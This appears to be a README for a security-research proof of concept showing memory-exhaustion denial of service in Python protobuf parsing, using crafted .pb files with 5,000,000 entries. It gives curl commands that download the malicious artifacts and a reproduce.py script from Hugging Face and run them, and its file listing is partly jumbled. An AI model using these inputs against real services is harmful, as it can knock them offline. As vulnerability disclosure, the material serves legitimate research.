Protocol Buffers Api options materialization DoS PoC
This repository contains a benign security research PoC for a .pb artifact
that drives repeated-message materialization during
api_pb2.Api.ParseFromString(...).
Files:
control_one_name.pbmalicious_methods_5000000.pbreproduce.py
Observed behavior:
- control artifact:
- parses successfully with no
optionsentries
- parses successfully with no
- malicious artifact:
- parses successfully with
5,000,000optionsentries - materially increases peak RSS during normal parse
- parses successfully with
Tested runtime:
python3 -m pip install protobuf==7.35.1
Public reproduction:
curl -L -O https://huggingface.co/hacnho/protobuf-api-options-dos-poc/resolve/main/control_one_name.pb
curl -L -O https://huggingface.co/hacnho/protobuf-api-options-dos-poc/resolve/main/malicious_options_5000000.pb
curl -L -O https://huggingface.co/hacnho/protobuf-api-options-dos-poc/resolve/main/reproduce.py
python3 reproduce.py --control control_one_name.pb --malicious malicious_options_5000000.pb
Public reproduction:
curl -L -O https://huggingface.co/hacnho/protobuf-api-methods-dos-poc/resolve/main/control_one_name.pb
curl -L -O https://huggingface.co/hacnho/protobuf-api-methods-dos-poc/resolve/main/malicious_methods_5000000.pb
curl -L -O https://huggingface.co/hacnho/protobuf-api-methods-dos-poc/resolve/main/reproduce.py
python3 reproduce.py --control control_one_name.pb --malicious malicious_methods_5000000.pb
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support